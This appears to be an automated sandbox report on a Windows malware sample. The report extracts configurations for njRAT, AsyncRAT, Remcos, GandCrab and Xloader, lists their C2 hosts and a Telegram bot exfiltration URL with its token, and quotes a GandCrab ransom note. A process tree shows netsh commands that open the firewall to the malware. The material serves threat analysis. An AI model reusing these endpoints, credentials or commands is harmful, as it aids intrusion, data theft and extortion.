asyncrat | 7df447c32ebd1e9c44b22e9bb077370f08c6b3be7bd4b23af2b701baeed53912

Analysis

max time kernel
2s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10/09/2024, 15:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe
Size 24.5MB
Sample240910-s2d2na1anp
SHA256 ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833
MD5 a5ca2d3b20cf191139a47d7261916d9e
SHA1 5d56e08cc55731f96db03911dba96dcdf22bcac8
SHA512 e008b76d8040ef039424e6f7eec37b866fc7ab71d1cb11d839b4d4449758b3b8174249c353d1726ed736cb9c854cafda7648aee7a12c93d8a8e0cd0013a0c3ad
SSDEEP 49152:qnUSstktA/zuJuuS6FDlUhBKds9he3qUtM9l58uRgG+vTD7o9qa910rUo29xqcUt:ql
MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

hakim32.ddns.net:2000
safety-bronze.gl.at.ply.gg:4444

Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes

reg_key
27b92504703b09d3ee2dae0873e8e3f3
splitter
|'|'|

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606
127.0.0.1:7707
127.0.0.1:8808
https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767
odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Path

F:\$RECYCLE.BIN\S-1-5-21-523280732-2327480845-3730041215-1000\GFGIDX-DECRYPT.txt

Ransom Note

---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .GFGIDX The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/16a8d4229e1ead26 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZcToFRt3YI7nRWtbfATGuHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB4eKi/zc2GetyGt9YblqBBi7t+BHXEYwb8CdG4tu4Pab3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pDxFL3vfLM+aq1wMZN3QSRl2KYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9XQ3DC2qZAEuDtLkioBZ9MNJGhHpcOfb/LRc8P54k7V/HuibORzJL9NXYEh8sz/ewORahtHP+ZbmbW4eJPXp1eNtQ19EJhJFLe2qhgw2mJLRMzwAtbfjn5E2ENiW4EkrJfTw== ---END PC DATA---

URLs

http://gandcrabmfe6mnef.onion/16a8d4229e1ead26

Extracted

Family

xloader

Version

Campaign

eido

Decoy

revellbb.com
tempranillowine.net
viralstrategies.info
blacktxu.com
flfththirdbank.com
vaoex.com
theselfdirectedinvestor.com
vinadelmar.travel
othersidejimmythemonkey.com
jaguar-landrovercenter-graz.com
supremeosterreich.com
chatsubs.com
free99.design
serviciosmvs.com
bongmecams.xyz
malikwoodson.com
onlinegamebox.club
694624.com
yeezyzapatos.club
istanbul-hairtransplant.com
expectations.info
giveafeast.com
latcsvg.com
thetablelanta.com
digitalcoastdaily.com
talltailsentertainment.com
gastore.store
sextoys411.com
hhty307.com
gjiijsijfsdff.xyz
discord-dnd.com
myazpensioneducation.com
housetraitors.com
halopinkstar.com
thethord.com
brandx.biz
mrgear.xyz
emuk.site
ydbaba.com
wosongla.com
paligeri.com
clipcoffee.net
pathnorthsweeps.com
urlbnarc.com
grimpeople.online
surgetech.digital
uppercase-shop.com
anniebirdsong.info
cherylalopes.com
bravesxx.com
buysalba.com
aoneclubs.com
wank152.com
viv.gifts
n1groupe.com
zhengyp.top
boreable.xyz
pointlomaadvisors.com
thebestineasttexas.com
we-gamble.net
snowycitron.online
octsqd.xyz
226coaching.com
phuclapgarment.com
veterancg.com

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3940	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4576	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3556	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4932	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2580	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3144	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4368	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5020	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3176	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2444	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1220	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4516	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4552	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	244	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5304	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5284	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5632	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5660	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5688	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5824	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5856	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5968	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6004	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2372	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5208	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3236	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4980	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5356	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5936	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1004	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5856	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6000	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5128	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6196	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5708	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6484	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6948	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6368	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6628	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6736	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6744	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7068	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6832	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2472	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2036	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5652	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5904	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6892	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6868	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6916	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7116	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3576	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6836	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6544	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5796	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7068	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6152	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2896	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7080	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6156	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5164	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6844	1012	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6556	1012	schtasks.exe	96

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000700000002345f-201.dat	family_stormkitty
behavioral2/memory/836-225-0x0000000000880000-0x00000000008B2000-memory.dmp	family_stormkitty

Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000700000002345f-201.dat	family_asyncrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000700000002345e-189.dat	dcrat
behavioral2/memory/4336-217-0x0000000000F10000-0x0000000000FE6000-memory.dmp	dcrat
behavioral2/files/0x0007000000023468-254.dat	dcrat
behavioral2/memory/3484-271-0x00000000005A0000-0x0000000000676000-memory.dmp	dcrat

Xloader payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/6408-1777-0x0000000000400000-0x000000000042B000-memory.dmp	xloader
behavioral2/memory/6568-1851-0x0000000000590000-0x00000000005BB000-memory.dmp	xloader

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1976	Powershell.exe
4256	powershell.exe
6032	powershell.exe
6864	powershell.exe
2044	powershell.exe
5224	powershell.exe
5848	powershell.exe
4432	powershell.exe
3180	powershell.exe
5484	powershell.exe
6876	powershell.exe
1600	powershell.exe

Modifies Windows Firewall 2 TTPs 5 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5712	netsh.exe
2060	netsh.exe
4312	netsh.exe
5748	netsh.exe
4884	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe

Executes dropped EXE 1 IoCs

pid	Process
1624	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001200000001e4fb-7.dat	upx
behavioral2/memory/1624-11-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/1624-12-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/1624-68-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/files/0x000700000002346e-317.dat	upx
behavioral2/memory/5064-326-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-428-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/1624-570-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/1624-569-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-650-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5064-649-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-742-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-1324-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5064-1567-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-1506-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/1624-1690-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-1829-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-1903-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-1931-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-2298-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-2405-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-1776-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/1624-2564-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-1728-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5064-1620-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-1619-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-2596-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-2617-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-2652-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/1624-2674-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral2/memory/5064-2700-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0007000000023488-386.dat	vmprotect

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
5552	596	WerFault.exe	142
6456	836	WerFault.exe	90

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5924	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1732	schtasks.exe
3148	schtasks.exe
5472	schtasks.exe
6736	schtasks.exe
7056	schtasks.exe
6620	schtasks.exe
2260	schtasks.exe
6628	schtasks.exe
2408	schtasks.exe
6196	schtasks.exe
5020	schtasks.exe
7136	schtasks.exe
6480	schtasks.exe
4368	schtasks.exe
6844	schtasks.exe
6948	schtasks.exe
6892	schtasks.exe
6924	schtasks.exe
5832	schtasks.exe
7108	schtasks.exe
7032	schtasks.exe
2444	schtasks.exe
6312	schtasks.exe
2728	schtasks.exe
3448	schtasks.exe
6032	schtasks.exe
7164	schtasks.exe
5688	schtasks.exe
5856	schtasks.exe
7080	schtasks.exe
5868	schtasks.exe
2372	schtasks.exe
5708	schtasks.exe
4552	schtasks.exe
7068	schtasks.exe
6448	schtasks.exe
6796	schtasks.exe
5224	schtasks.exe
5208	schtasks.exe
2472	schtasks.exe
6580	schtasks.exe
5020	schtasks.exe
6564	schtasks.exe
5824	schtasks.exe
7052	schtasks.exe
5824	schtasks.exe
6012	schtasks.exe
7160	schtasks.exe
4932	schtasks.exe
5156	schtasks.exe
8	schtasks.exe
6424	schtasks.exe
6916	schtasks.exe
3556	schtasks.exe
836	schtasks.exe
3236	schtasks.exe
7068	schtasks.exe
3532	schtasks.exe
5276	schtasks.exe
3272	schtasks.exe
4860	schtasks.exe
6000	schtasks.exe
6544	schtasks.exe
6156	schtasks.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1624	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
1624	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 1624	4876	ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe	85
PID 4876 wrote to memory of 1624	4876	ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe	85
PID 4876 wrote to memory of 1624	4876	ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe	85

C:\Users\Admin\AppData\Local\Temp\ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe
"C:\Users\Admin\AppData\Local\Temp\ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
  "C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1624
- C:\Users\Admin\AppData\Local\Temp\クラック.exe
  "C:\Users\Admin\AppData\Local\Temp\クラック.exe"
  2⤵
  PID:4180
- - C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
    "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
    3⤵
    PID:3412
- - C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
    "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
    3⤵
    PID:4336
  - - C:\Program Files\Mozilla Firefox\browser\VisualElements\TextInputHost.exe
      "C:\Program Files\Mozilla Firefox\browser\VisualElements\TextInputHost.exe"
      4⤵
      PID:7796
- - C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
    "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
    3⤵
    PID:836
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 836 -s 1340
      4⤵
      Program crash
      PID:6456
- - C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
    "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
    3⤵
    PID:4420
  - - C:\Users\Admin\AppData\Local\Temp\server.exe
      "C:\Users\Admin\AppData\Local\Temp\server.exe"
      4⤵
      PID:5452
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:4884
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Exsample.exe
        5⤵
        Kills process with taskkill
        
        PID:5924
- - C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
    "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
    3⤵
    PID:1212
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:4312
- - C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
    "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
    3⤵
    PID:4848
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fgmu5bmc\fgmu5bmc.cmdline"
      4⤵
      PID:5160
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESED4E.tmp" "c:\Windows\System32\CSC69EA38A6987D4DE7B83019FD4C62BC7.TMP"
        5⤵
        
        PID:6284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
